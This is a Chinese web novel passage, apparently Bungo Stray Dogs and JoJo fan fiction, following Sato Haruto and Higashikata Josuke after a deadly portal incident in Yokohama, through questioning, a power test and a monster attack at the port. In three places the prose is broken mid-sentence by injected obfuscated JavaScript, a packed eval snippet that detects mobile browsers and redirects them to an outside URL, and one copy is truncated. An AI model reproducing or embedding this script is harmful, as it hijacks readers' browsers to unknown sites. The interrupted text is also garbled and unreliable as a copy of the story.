这个梦环环嵌套,梦中还出现了许多道身影,既有像东方仗助、中岛敦这样的熟面孔,也有很多他连面都没见过、更喊不出名字的生人,他们就像碎片一样悬浮在他梦境里的世界,看得佐藤阳翔眼花缭乱。 等他疲惫地睁开眼睛醒过来的时候,发现自己正躺在一间陌生的房间里。头顶的灯并没有打开,看四周的装潢应该是一间医务室,整座房间里除了自己再没有第二个人,但半掩着的门外隐隐传来了低声的交谈。 佐藤阳翔一发出动静,守在门口的人便鱼贯而入。 第一个推门进来的人是佐藤阳翔在匪徒劫持事件里偶然碰见的眼镜男,紧随其后的是那位被自己耍得团团转的白发少年,第三位进来的是一名利落打扮的短发女性,最后踏入这间房的,则是一道佐藤阳翔完全没料想到的身影。 落在最后头的太宰治竖起食指抵在唇上,鸢色的眼睛里藏着狡黠的笑意,但这笑意并不达眼底。 ——嚯,居然会在这里偶遇前同事啊。 佐藤阳翔挑了挑眉。 与谢野晶子检查了一下佐藤阳翔的身体,在确定他现在并没有再出现头疼和干呕的症状后,吩咐了几句类似如果病人有不良反应就不要再刺激之类的话,随后便毫不留恋地退出了狭小的医务室,把舞台转让给了前来问话的同事们。 这场问话的权利是由异能特务科联合警方特批的——在那个奇怪传送口出现后,他们已经忙得焦头烂额,只好临时拜托了武装侦探社的社员负责询问佐藤阳翔,并且向福泽谕吉保证,一切后果皆由官方负责。 这场问话由国木田独步和太宰治共同主导,中岛敦则负责站在一旁记录现场的一言一行——现场的气氛意外凝重,佐藤阳翔懒洋洋地靠坐在病床上,长长的黑色刘海几乎要遮掩住他的金色眼眸,加上刚苏醒还有些憔悴,声音也很干涩:“喂,和我一起出来的那个牛排头小子去哪里了?” 国木田独步反问:“他是你什么人?” “以前的朋友——应该算吧。”佐藤阳翔拿起装满热水的纸杯喝了一口,声音稍微恢复了正常,“所以现在是要审讯我?你们侦探社不是正规官方吧,有警方的授权吗?还有,我朋友现在怎么样了?” “他被警方带走了。小子,我劝你还是先回答我的问题比较好。”国木田独步“啪”地一声将授权文书拍在了他面前,声音带着不容反驳的魄力,“你在被那阵蓝光吞入以后,发生了什么?” 佐藤阳翔瞥了一眼文书,回道:“我们被带到了一个洞窟里,发现现场还有六个人。” “然后呢?”他追问。 “然后我和仗助打败了洞窟里的怪物,离开了那里。”佐藤阳翔想起了怪物巢穴内满地的碎尸,大概猜到了这场问话的侧重点在哪里,便风轻云淡地将洞窟里发生的事描述了一下,“我和仗助从一开始就和大部队分开了,我们在洞窟里和无头苍蝇似的乱钻岔路,最后运气不错地发现了怪物的巢穴。” “但是最后离开怪物巢穴的人只有你们二人哦。”太宰治一手插进风衣外套的口袋,拉开了另一把椅子坐在病床前,表情没有国木田那么咄咄逼人,但那双眼睛却仿佛能看穿他的灵魂,“失踪的六个人到哪里去了呢?” 佐藤阳翔平静回答:“死无全尸。他们不愿意深入洞穴,结局就是变成怪物的口粮。我和仗助只看见了一堆碎肢,最后数了一下,现场一共有六颗头。” 中岛敦瞳孔一缩,正在记录的笔尖不由得顿住了。 那六条活生生的人命...... “继续写,敦。”太宰治头也不抬地吩咐道,然后翘起二郎腿靠回椅子上,笑眯眯地道,“不好意思佐藤君,你能和我们描述一下那个怪物的长相和特征吗?” “长得很像一只巨型的蜘蛛,血液是绿色的,反正感觉超恶心的。”佐藤阳翔撇过脸,露出了一副相当嫌弃的表情,和怪物搏斗时的经历明显不是什么美好的回忆,“那家伙的力气很大,一下子就能轻易撞碎石壁;脑袋也很硬,我拿碎石捅了两次才把它的脑袋捅穿。” 太宰治摩挲着下巴,若有所思道:“唔,听起来很像是惊悚片里的反派怪物呢。” “差不多就是这种感觉吧,就是肉眼看的时候冲击力更大一点。”佐藤阳翔叹了一口气,“关于洞窟的事,我只知道这么多——对了,麻烦你们和我说一下东方仗助被警方带走的来龙去脉,他刚到横滨不久,被扔在警察局的话,恐怕一个人回不去吧。” “关于这一点。”国木田独步推了一下眼镜,“我们也有问题要问你。你和这名叫做东方仗助的少年是怎么认识的?你除了知晓他的名字以外,还知道什么有关他的情报?” “你们侦探社已经严谨到了要怀疑刚毕业的国中生的程度了?”佐藤阳翔并没有急着回答,而是先撑着下巴漫不经心地打量了一眼在场的三人,发现他们比起刚刚针对洞窟的问话,三人现在的表情现在要认真得多。 ——原来东方仗助才是他们的重点啊。 佐藤阳翔心领神会地颔首:“和我说说吧,东方仗助有什么问题?” 13 被关在警局会议室里的东方仗助现在很郁闷。 这趟横滨之旅对他来说是惊吓远大于惊喜,等他拖着骤然昏迷的佐藤阳翔从传送口里出来的时候,迎接他的既不是清爽的夜风,也不是行人的尖叫,而是一排黑洞洞的,带着硝烟气味的枪口。 全副武装的警察在对面围成了一圈,表情不算好看。 “喂,这是什么情况啊?!”不等他得到回应,几名带着防暴盾牌的警察便将一脸莫名其妙的东方仗助控制了起来。 正处昏迷且浑身浴血的佐藤阳翔则被警方交给了一名东方仗助完全不认识的家伙,单看背影应该是个身材高挑的男人,他的手臂和脖子上还缠满了白色的绷带,卡其色的风衣外套在夜风中猎猎作响。 再然后,东方仗助就失去了佐藤阳翔的消息。被带进警局会议室后,警方让他尽可能详尽地描述了一下蓝色传送口内部的情况——等到笔录结束,就在他以为自己可以走了以后,警方又开始质疑他的身份是虚假信息。 “都说了,我来自杜王町啦!身份证件都放在阳翔的家里了,为什么会觉得我在撒谎啊!”东方仗助的外公就是杜王町里的一名警察,东方仗助从小在耳濡目染之下,至少被养成了一个还算正直的人——杜撰身份这种罪名对他而言简直就是天降大锅。 “日本哪来的杜王町啊?!”负责审讯的警官不耐烦地问,“少狡辩了,你快点把你的真实身份吐出来吧!” 东方仗助简直百口莫辩。 他现在没有办法自证身份,提供给警方的家庭电话又反馈说是空号,双方的耐心都在夜色的流逝中几乎耗尽。就在东方仗助以为自己真要在这里枯坐一夜的时候,一名戴眼镜的男人叩响了大门,同问讯的警察简单交涉了几句,东方仗助便接到了可以离开的消息。 “怎么莫名其妙就...” 他刚嘟囔着,一回头就看见了蹲在警局门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889032|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口低头玩手机的佐藤阳翔。 在见到东方仗助完好无损地被送出警局后,佐藤阳翔回头和帮忙说服警方的国木田独步道了谢,然后笑眯眯地对东方仗助说:“天色很晚了,我们去吃晚饭吧,吃热腾腾的拉面!” 他们就这么马不停蹄地赶往了附近的一家拉面店。谁都没有提及分开后的遭遇——尽管东方仗助对佐藤阳翔是怎么找人把自己带出来的好奇得不得了,但他们自从进入那个诡异的洞窟后直到现在都没进食,对两名饥肠辘辘的年轻人来说,当然还是晚饭最重要。 东方仗助一口气就吃了三大碗拉面。 吃饱以后,他们又一起去了电玩城打游戏,东方仗助觉得他们好像又回到了当初在杜王町一起生活的日子——只不过杜王町只是个普通城镇,除了出名的味噌腌牛舌外,快餐店和游戏厅的数目并没有这里那么多。 等到游戏厅里的人都快散得差不多了,佐藤阳翔才松开手里的游戏手柄,扭头注视着东方仗助的脸:“你要是有什么话就直接问吧,憋到现在不难受吗?” “当然难受死了!” 东方仗助立即一股脑地把想问的话抛了出来:“你被带走以后发生了什么啊?还有,你是怎么把我从警察局里捞出来的?这一切又是怎么回事啊?” “能不能一个个问,一下子问这么多个我该先回答哪一个啊?” 佐藤阳翔叹了一口气,把挽起的衬衫袖口又放了回去,“我在被带走以后就遇到了熟人,他们被官方授权来向我问话。他们说你已经被带到警局调查,现在正因为官方查不出你的背景被暂时扣留了,我就让大野光极赶紧送了你的证件过来。经过鉴定,你的身份证是真的以后,我就拜托别人把你带出来了。” “就这?”东方仗助有点狐疑,“那他们为什么还说我的身份是假的?” “你的身份背景不是【假的】,只是他们【查不到】而已。”佐藤阳翔淡淡道,“既然你的身份并没有作伪,那警方也没有理由继续把你扣在警局。” 但东方仗助的疑虑依旧没有得到解答。 “查不到是什么意思?”他问。 “...我也不知道该怎么和你解释这一点。”佐藤阳翔把手机递给了东方仗助,“喏,你试试往家里打个电话就知道了。” 东方仗助迟疑着拨通了家里的座机电话——这个点如果往家里打电话的话,被吵醒的东方朋子一定会把东方仗助痛批一顿。但正如当初在警局里警察反映的那样,这个号码是一个空号,电话那头除了在讲英文的机械女音外什么都没有。 “对于横滨人来说,日本是没有杜王町这个地方的。”佐藤阳翔拿回手机,垂下眼帘道,“同理,在横滨这里也查不到‘东方仗助’这个人——你对他们来说,就像是凭空出现一样。” 东方仗助沉默了。 这近乎奇幻的展开让他本能地产生了一种不妙的预感。东方仗助来到横滨,乘坐的是由杜王町海港出发的客运船,中途他打了个瞌睡,然后一睁眼就发现船已靠岸。 仿佛是从原本毫无交集的另一个世界过来的一样。 佐藤阳翔解释道:“你有没有看过穿越题材的漫画或者电影?一名少年一不小心穿过了时空的壁垒,然后踏入了一个新的世界,这个世界虽然和他原本的世界很相似,但并没有他的故乡和他的家人。” 金色的眼睛倒映出少年愕然的神情:“喂...阳翔你这话是什么意思...” “意思是——仗助,你会不会其实来自于平行世界里的【日本】啊?” 8. 第八章 14 他先是看见了一团火。然后是正在燃烧的街道、高楼,人们尖叫着,推搡着往外跑,形态各异的怪物从一个个蓝色传送口里爬出来,张开血盆大口咬向人类的脖子,遍地鲜血横流。 佐藤阳翔没有闻到烧焦的味道,也没有闻到血的味道。他孤身一人站在街道上,四肢犹如被水泥灌溉了一般僵硬得动弹不得,崩塌的大楼发出“哗啦啦”的巨响,他透过燃烧的火光看见了一道矗立的人影——那个人的目光也正紧紧地盯着他。 “都是你的错。”火里的人突然冷冷开口,“横滨承担了一切错误的结局,承担了你【反抗】的后果。” 佐藤阳翔听得一头雾水。 “喂,这话是什么意思?”他皱起眉头,一抹火星溅到了他的手上,但一点都不痛——于是佐藤阳翔立即反应过来自己正在梦中,“...你又是谁?为什么会出现在我的梦里?” “横滨会毁灭,整个世界都会毁灭。”火里的人嗤笑一声,“这里并不是你的梦,而是横滨的未来。” 那人话音刚落,佐藤阳翔便觉得自己立即被一股无名的力量绞住了脖子。那股力量不断地收紧、挤压,氧气也极速流失,窒息感迅速袭来。佐藤阳翔只能勉强睁开一只眼睛,终于在跃动的火光中看见了那个人的脸——火里的人竟长着和佐藤阳翔一模一样的五官。 火里的佐藤阳翔只重复着一句话:“这就是你【反抗】的结局...” 一模一样的金色眼睛悲悯地看着他。 黑暗随即袭来。 15 佐藤阳翔是被闷醒的。 他一睁开眼,率先看见的既不是窗外明媚的晨光,也不是出租屋里千篇一律的陈旧天花板,而是东方仗助的睡颜——这家伙不仅长得高,体重还不轻。一伸手就死死把佐藤阳翔按进了怀里,佐藤阳翔都快憋死了,东方仗助还和抱着玩具睡觉的小孩一样死活不肯撒手。 佐藤阳翔费力地掰开他卡着自己脖子的手,一脚就把这家伙从床上直接踹了下去。 昨天晚上他们从游戏厅回来的时候已经很晚,回到出租屋以后,佐藤阳翔才发现自己居然把要去超市买新被子和新枕头这件事忘得一干二净。现在出租屋里被子和枕头都只有一套,东方仗助直接躺在了他的床上:“困死了,快点把灯关了吧,感觉今天真要累死了...” 毕竟是佐藤阳翔主动允许东方仗助和自己睡一张床的,他站在床边强调道:“赶紧把外套脱了,不要穿着脏衣服躺上我的床——虽然是我主动答应让你睡在我家的,但是先说好,你半夜不许抢我的被子,也不要碰我,我们的关系健康友好且绿色...” “你真的事情好多啊。”东方仗助闭上眼,翻过身嘟囔道,“我知道啦!” 结果,佐藤阳翔一觉醒来就发现自己被东方仗助锁喉了。 东方仗助一脚被人从美梦里踹醒,居然也没有冲他发脾气。他这个人最大的优点就是脾气好,并且不记朋友的仇,在看见佐藤阳翔阴云密布的脸后,还主动摆出一副真心实意的表情向他道歉:“恩?我睡觉不老实压到你了?那不好意思啦!” 正是因为是真心实意的道歉,佐藤阳翔才更加不爽。 ——他还想继续把东方仗助揍一顿呢! 起床后的东方仗助先是仔细地梳好了自己的发型,然后才起身主动打开了卧室旁的窗户。 清晨的空气总是让人心旷神怡,只可惜从这里望出去没有多少绿色,也看不到横滨千万栋高楼的缩影,只能看见被太阳照射下灰土飞扬的镭钵街,还有几名打着瞌睡在街上游荡的流浪汉。 “对了,仗助。”佐藤阳翔说,“待会儿和我去个地方。” 东方仗助闻言,回头看了一眼正在慢吞吞换衣服的青年,发现他的身材虽然看上去纤细,但实际上抱起来并没有什么骨瘦嶙峋的感觉,在不算敞亮的光线里反而更显得肌肉线条流畅漂亮,真要评论起来的话,其实手感和观感都还蛮好的... 佐藤阳翔忽然感觉到了青春期少年直勾勾的炙热眼神,他扭过头问:“...你到底在看什么啊?虽然我知道自己已经帅得惨绝人寰了,但你也不用这么欣赏我吧?” 东方仗助立即慌慌张张地移开视线:“咳咳,那...那个,待会儿出去干嘛啊?” 嗯?不对,他怎么没有反驳自己?!难道不应该说“我才没有在看你”或者“不要说这么恶心的话”之类的吗?! 佐藤阳翔看东方仗助的样子更觉得可疑了,但还是先回答了他的疑问,把话题扯回了昨天晚上说的“穿越时空论”和“平行宇宙猜想”上:“我昨天能托人把你从警察局赎出去,是因为我和侦探社说你可能不是本世界的人,就和那个蓝色传送口一样属于外来物种。” “侦探社的熟人说有办法测试你的力量到底是不是这个世界的异能——具体怎么做我也不知道,但应该不会把你拉出去解剖吧。” 东方仗助大惊失色:“...听上去就很可疑啊,什么叫做‘拉出去解剖啊’!在说这么严重的话之前应该还有铺垫吧!” 佐藤阳翔无所谓地耸耸肩,等两人全都洗漱完成后,就拽着东方仗助的衣服前往武装侦探社的大楼。侦探社楼下是一家咖啡馆,佐藤阳翔给两人都点了咖啡和甜品。他一边往咖啡杯里加着致死量的方糖,一边给昨天留下联系方式的中岛敦发了消息。 中岛敦一下楼就看见坐在窗边的佐藤阳翔正隔着玻璃和路过咖啡馆的女孩子搭讪,不由得默默咽下了问好的话,将视线转回了坐在他对面的奇怪打扮的少年。 这已经不是中岛敦和东方仗助的第一次碰面,当初在港口劫持事件里被劫匪抨击发型的人就是他。 “早上好啊,少年。”佐藤阳翔在发现中岛敦下楼以后,还好心情地和他打了个招呼,然后转眼看见了跟在中岛敦身后下楼的太宰治,立即露出了一个微妙的神情。 不确定,有点像嫌弃又有点像看不顺眼,中岛敦再看看。 “早上好啊,佐藤君~”比中岛敦更快出声打招呼的人居然是太宰治。他熟稔地一屁股坐到了佐藤阳翔身边,一手搭在他的肩膀上,语气轻快且带着朋友般的口吻,“又在往杯子里一个劲地加方糖吗?既然如此一开始就应该点奶茶呀。” 从语气上看,他们明显认识。 中岛敦诧异地看着太宰治和佐藤阳翔之间宛如老友般的态度,迟疑开口:“太宰先生原来早就认识佐藤先生吗?可是佐藤君之前不是在港口mafia...?” “之前认识,不过也好久没见面了,当时的佐藤君还在各个企业里帮忙做清洁工作呢,我也差点一下子忘记了。”太宰治笑眯眯地说,“当时我们也算是【好朋友】啊,对吧?” 佐藤阳翔意味不明地呵呵了一声。 看这表情完全不像是【好朋友】吧! 这种气氛已经尴尬到不知该如何插进他俩中间了,中岛敦索性把招呼对象换成了正在专心致志吃蛋糕的东方仗助。看衣着应该还只是个年轻学生,并且脾气不错,在听见中岛敦的问好后,东方仗助也露出笑容友好地回应了。 ——看来是个正常人。 中岛敦想,这简直就是对一个人的最高评价。 “对了,你们说的测试仗助力量的办法是什么?”佐藤阳翔咬住叉子,“你们武装侦探社已经进化到可以区分某些力量是不是本世界的地步了?” “啊,那倒也不是这个意思...”中岛敦尴尬一笑,摆手解释道,“太宰先生的异能可以让一切异能无效化,如果东方君和让太宰先生接触一下的话,我想就应该能判断东方君到底是不是异能者了。” “好吧,那就这么办。”佐藤阳翔抱胸催促道,“仗助,快给他们看看你的【疯狂钻石】!” “真是的,不要用这种召唤神奇宝贝一样的口吻来催我啊!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889033|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 东方仗助牢骚归牢骚,但【疯狂钻石】还是老老实实地出现在了他的身后。中岛敦却以为佐藤阳翔是打算让东方仗助在这里就演示给他们看,立刻急声道:“等等,至少先到一个空旷的地方再释放力量...” 佐藤阳翔奇怪地看了他一眼:“你在说什么呢?【疯狂钻石】不是就在你旁边吗?” 见中岛敦依旧一副摸不着头脑的样子,【疯狂钻石】干脆将桌子的糕点和咖啡拿了起来——但这幅景象在中岛敦的眼里,完全就是糕点和咖啡凭空飞了起来,并且还奇迹般地悬停在空中。 太宰治摩挲着下巴:“唔...真有意思...” 中岛敦茫然:“...难道太宰先生也能看见【疯狂钻石】的存在吗?” “很遗憾的是不能。”太宰治耸耸肩,一手搭在了东方仗助的手臂上,但咖啡和蛋糕悬浮的现象并没有得到遏制,反而像是为了彰显【疯狂钻石】确实存在一般,东方仗助还控制着替身将其举得更高了一些。 “至少这样就能证明【疯狂钻石】本身并不属于异能了吧?”为了防止其他人继续注意到这边的异样,佐藤阳翔起身从【疯狂钻石】的手里取回了蛋糕和咖啡,“所以,比起那个莫名其妙的蓝色传送口,仗助的出现才是第一个不属于这个世界的存在。” “那就糟了...”中岛敦露出了一个担忧的表情,“如果未来还有不属于这个世界的力量频频降临横滨的话...” 东方仗助还好说,那个蓝色传送口才是真正危险的存在。 八个人一同进入传送口,但最后活着走出洞窟的只有东方仗助和佐藤阳翔两个人:一个身上携带着奇特的力量,另一个本就身手极佳——如果普通人被卷入了传送口,那几乎是必死无疑。 一旦传送口继续在横滨出现,那整个城市恐怕都将陷入灾祸的风暴之中。 尽管横滨官方已经第一时间把负面消息镇压了下来,目击过传送口存在的路人都和警方签署了禁止传播的协议,但六条人命的逝去,还是像种子一般在人的心里种了下去,甚至可能已经开始在横滨的某个角落里悄然生根。 谁能保证被卷入下一个传送口的人不会是自己? 但佐藤阳翔比起蓝色传送口的出现,其实更在意在幻觉中频频看见的那名少年。 昨天晚上东方仗助也曾问过他,他在失去意识之际一直重复的那句话是什么意思,听起来不像是日语,只可惜但东方仗助已经记不清那个音节了——离谱的是,佐藤阳翔本人居然对此毫无印象。 “我只记得那个人有一双深蓝色的眼睛——比仗助你的瞳色更深一点吧。脸上还贴了白色的邦迪,看起来像是经常受伤的样子。”佐藤阳翔头疼地想,“可是我根本就没见过他啊,我敢肯定至少在横滨肯定没有这个人——我这辈子都没离开过横滨,哪认识什么外国人...” 东方仗助问:“你是不是又犯病了?” 佐藤阳翔翻他白眼:“虽然知道你说的是【失忆症】,但是我怀疑你在拐弯抹角地骂我...” 东方仗助说佐藤阳翔患有【失忆症】,但除了那封莫名其妙的信外,佐藤阳翔再没有找到别的线索,而且,目前也只有东方仗助拥有相关的记忆。 佐藤阳翔甚至曾怀疑过他口中的那个【佐藤阳翔】是不是另一个世界里的自己,但被东方仗助一口否决了。 佐藤阳翔问:“你怎么知道那个人一定是我?” “我就是知道啊。”东方仗助立即开始摆出了一副有点固执,甚至是有点幽怨的表情,“没有原因,反正我知道你就是你,没有第二个人——我们可是从很多年前开始就在一块了欸!这么久的交情只有你这家伙会说忘就忘吧!” 佐藤阳翔:“......” ...说得他好像从杜王町背井离乡来到横滨,抛妻弃子丢下东方仗助不管,然后自己一个人独自开启美好新生活的渣男一样! 9. 第九章 16 东方仗助发现自己被尾随了。 他发现有人会远远地跟在他的身后,从游戏厅到公厕,再到佐藤阳翔常去的那家水果摊——东方仗助绝对不是那种能无视跟踪视线的那种性格,他好几次想要动手,但都被佐藤阳翔不动声色地拦住了。 “当没看见就好了。”佐藤阳翔说,“反正你又没干坏事。” “可是这种眼神看得我都发毛了。”东方仗助透过快餐店的玻璃往外看,果不其然看见将将消失的一道身影,瞬间露出了恶寒的神情,“你不是说侦探社是你的熟人吗?能不能拜托他们让这些人别跟着我了...” “只是熟人而已,又不是朋友。”佐藤阳翔撑着下巴,喝了一口被店员放了超多冰块的可乐,“而且跟着你的人也并不是侦探社的人,应该是警方的便衣。” 前几天和中岛敦他们会面后,武装侦探社就获悉了东方仗助的特殊性,但他们并没有选择向官方汇报这一点,而是非常有义气地帮忙隐瞒了下来——用他们社长的话来说就是:“既然这个人对横滨并没有威胁,也没有做过什么坏事,那我们也不该将对方置于不义之地。” 武装侦探社虽然愿意信任东方仗助,但不代表政府官方也会信任他。 东方仗助上次靠着武装侦探社的帮助才离开了警局,但此人身份背景存疑,又是【横滨首例地下城】事件中仅存的两位幸存者之一,政府只能通过这种尾随观察的方式,来判断东方仗助究竟是否有害。 佐藤阳翔没感觉到他们身上有什么恶意,自然也不会让东方仗助贸然惹事。 更何况,横滨的风声最近越来越紧了。 悬挂在快餐店里的大屏电视机正在播报人员莫名失踪的新闻。 几名坐在周围吃饭的路人压低声音讨论着最近越来越频繁的失踪事件——随着“蓝色传送口”出现在横滨的次数越来越频繁,随时可能被神隐的流言还是不可避免地从官方的封锁线里漏了出来。现在大家人人自危,原本热闹非凡的街道也开始变得安静。 一种惶恐的情绪正在逐步席卷这座城市。 东方仗助和佐藤阳翔都被警方告诫过不能传播这件事,二人在吃饱饭后付完钱就走了。介于现在东方仗助正在被人紧盯,原本计划好下午一起到横滨周边走走的计划也只能临时搁浅,他们就在佐藤阳翔的出租屋里打了一整天的格斗游戏。 当晚睡觉的时候,佐藤阳翔已经买了新的被褥和枕头,还用长枕把两人的活动区域分得清清楚楚,以防半夜再被东方仗助锁喉。 “...没必要吧,你是小女生吗?”东方仗助郁闷道,“还是爱划三八线的那种?” “这是为了防止你再把我闷死——我才不想一觉醒来就躺在你的怀里,对我的心灵也不好。更何况,你一睡着身体就重得要死,真不知道你口中那个【过去的我】是怎么忍受和你睡那么久的。”佐藤阳翔咬牙切齿地道,“我当时在梦里都差点窒息了。” “嗯?什么梦?” “记不清了,都说了是‘梦’,那肯定是刚睡醒的时候才记得啊。” 佐藤阳翔笃定道:“不过肯定不是什么好的梦。” 东方仗助好奇:“你这么肯定?” “如果我梦见自己中了七亿日元,或者正在和漂亮大姐姐搭讪却被你打断的话,那我醒来以后做的第一件事就是把你绞死,肯定不是踢你一脚那么简单了。” 哈哈。好吧,东方仗助就知道根本不能期待佐藤阳翔的嘴里能吐出什么好话来。但他刚打完游戏,精神还很亢奋,就这么结束话题的话肯定睡不着,所以东方仗助想了想,干脆继续了这个话题:“你喜欢大姐姐哦?” “倒也没有,我比较喜欢长得顺眼的。”佐藤阳翔诚实地说出了自己的xp,“是谁都行,反正我看脸。” “噢...是这样啊!” 不知道为什么,东方仗助的声音听起来突然变得很高兴,甚至还骤然松了一口气——佐藤阳翔虽然觉得莫名其妙,但只当他是突然抽风好奇自己的择偶观。 然而东方仗助现在想的其实是: 自己的脸好像也还长得不错,小时候被长辈夸“这小子长大以后肯定很有魄力”,长大后又经常收到同校女生的情书,如果未来和佐藤阳翔表白的话要好好和家里人解释,外公和老妈好像都挺喜欢阳翔的,到时候可以在杜王町孤儿院里收养一个孩子,家庭聚会日可以三个人凑在一块玩最新的格斗游戏或者一起观看拳击比赛。 如果未来要领证的话就去国外好了,婚礼上可以多请一点认识的人,反正自己本来就很想去国外旅游,蜜月旅行干脆就设在荷兰... 东方仗助本来还想继续追问“那你喜欢什么样的婚礼”,但还没问出口就听见了佐藤阳翔浅浅的呼吸声。 他这人最大的优点就是睡眠不错,所以困意一上来后,佐藤阳翔也不管自己和东方仗助正在说有关恋爱的话题,就这么一声不吭地睡着了。 东方仗助见他睡着了,也没有再纠结,跟着闭上了眼。 ——不管怎么样,至少今夜他获得了还不错的答案。 然而,与出租屋内的轻松氛围截然相反的是,在这座城市的另一头,某条黑暗的小巷里,一场最血腥也最恐怖的戏剧刚刚落幕。 身穿黑色大衣的清瘦青年沉重地咳嗽着,即便是身处阴影里也能看出这人的脸上几乎没有什么血色,看起来像是常年患有肺痨或咽炎一类的疾病,过了好一会儿才止住了咳嗽的欲望,转身踏入了被月光照耀的地方。 青年的身后,有什么东西正在化为灰烬。 17 大野光极已经有好几天没出现过了。 他最近一次和佐藤阳翔见面,还是在东方仗助抵达横滨的那天。之后虽然也和佐藤阳翔打过几次电话,但每次都支支吾吾的,完全丧失了平常围着大哥转的那份黏糊劲,佐藤阳翔虽然举双手双脚赞成他的改变,但还是觉得很奇怪。 东方仗助听说后,也觉得是大野光极肯定在干什么秘密大事——他个人倾向于大野正在和女孩子约会,因为以前他班上偷偷谈恋爱的男生都这么奇怪,好像一旦让兄弟知道自己在谈恋爱就会被狠狠嘲笑一样。 但佐藤阳翔反驳:“不可能,他如果在谈恋爱肯定会告诉我。” 以前大野光极也和几位女性约会过,佐藤阳翔隔着老远都能闻到恋爱的酸臭味。大野光极还会每天烦人地来咨询他今天应该送什么花,明天订什么餐厅,后天安排什么行程——搞得佐藤阳翔对约会这件事都有点PTSD了。 而且这小子嘴里没个把门的,一点心事也藏不住,恨不得把每一任女友都带来给大哥看一看。 这次却不同,每次电话都匆匆挂断,偶尔游戏厅三缺一的时候叫大野光极一起过来玩,也被他全部拒绝了。 ——连柏青哥都不打了,这还是混混吗! 奇怪,真的太奇怪了。 这一天夜晚,佐藤阳翔主动拨打了大野光极的电话。 电话那头先是传来了一阵急促的杂音,大野光极慌慌张张地接起,好像生怕发出什么声音。佐藤阳翔敏锐地听见背景音远远地传来一道夜间轮渡鸣笛的声音,他直接问:“你现在在港口附近?” “啊?佐藤大哥怎么知道的...”大野光极顿时噎住,声音也变得遮遮掩掩的,“对的。我过来这里有点事...大,大哥您找我有什么事吗?” “我和仗助买了新的游戏卡带,有三人赛车竞技版。你要一起吗?” “抱歉大哥,那个...我现在真的有事。” 他急促的话音刚落,佐藤阳翔就听见电话那头传来了一道尖锐的叫声。一阵杂音过后,电话骤然挂断,再拨过去时只剩下了象征关机的机械女音。 拿着游戏手柄的东方仗助从电视机后面探出脑袋:“阳翔,你朋友什么时候过来啊?” 赛车游戏已经准备就绪——这款游戏是本周刚刚发行的最新力作。东方仗助才和佐藤阳翔说好今晚一定要大战三百回合,一口气解锁所有地图,熬到半夜三点再去睡觉。 佐藤阳翔没有回答他的话。 电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889034|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂断后,他先是垂下眼帘站在原地沉默了片刻,突然放下手机转身来到了衣柜前,动作利索地换上了一件黑色外套,看那副架势似乎是要出去,又像是要去找人打架。 东方仗助吓了一跳:“虽然知道你等这款游戏发行等了很久,但你也不用为了这款游戏特意换套衣服吧?!” “大野说他打算今晚向一个女孩子表白,现场缺一个伴奏的人。”他面不改色地从柜子里取出了一个黑色吉他包,然后把一脸“我也要去”的东方仗助按了回去,“你不能去,如果他告白失败的话肯定会哭得很难看——别看这小子表面上没什么心眼,其实还挺有尊严的,就给他留点面子吧。” 东方仗助半信半疑:“...怎么这么突然?他不是一直说没空吗…还有,你还会弹吉他啊?” 站在玄关位置的佐藤阳翔对他微笑:“其实以前在没干清洁工之前,我的梦想是当一名歌手。还有,你绝对不可以乱跑——那封信上说你喜欢闯祸,如果被我发现你跟着我偷跑出去了,那我就把你交给警方做人体解剖。” 被猜中心思的东方仗助只好悻悻地坐了回去。 18 横滨的港口宽阔,直到夜晚十点以后所有船只才会归港,大野光极呆的位置肯定离海港并不遥远,港口附近还簇拥着由大大小小集装箱构成的临时仓库,一到夜里就全面封锁了,除了个别保安会打着手电筒在附近巡逻外,几乎没有人会出现在这里。 佐藤阳翔看着不远处的安保办公室,房间内灯火通明,却既没有电视的声音,也没有人在走动的声音。 他耐心地等了一会儿,在确认里面非常宁静后,毫不犹豫地踹开半掩的大门走了进去。 一股刺鼻的血腥味瞬间直冲脑门,现场更是惨烈不堪,倒在地上已经断气的保安依旧维持着一副惊恐万分的神情,但他的脖子却像是被什么东西齐根咬断,四肢摸起来还是温热的,说明遭到袭击的时间并不算久。 回想起电话那头的尖叫声,看来自己并没有找错地方。 佐藤阳翔弯腰拿起掉在地上的手电筒,转身迅速朝着集装箱的深处走去。 而另一边,正在上演一场生死时速。 大野光极和发了疯似的往里跑,喉咙已经被恐惧堵得发不出半点音节,大脑还回忆着刚刚看见的场景:负责巡逻的保安被当场咬死,犯罪者赫然是他失踪两天的好友志田——准确来说,是和志田长得一模一样的怪物。 他颤抖着问:“志...志田,你在干什么啊?” 志田模样的怪物转过头,露出了沾满鲜血的下半张脸和尖锐的牙齿,冲他缓缓一笑。 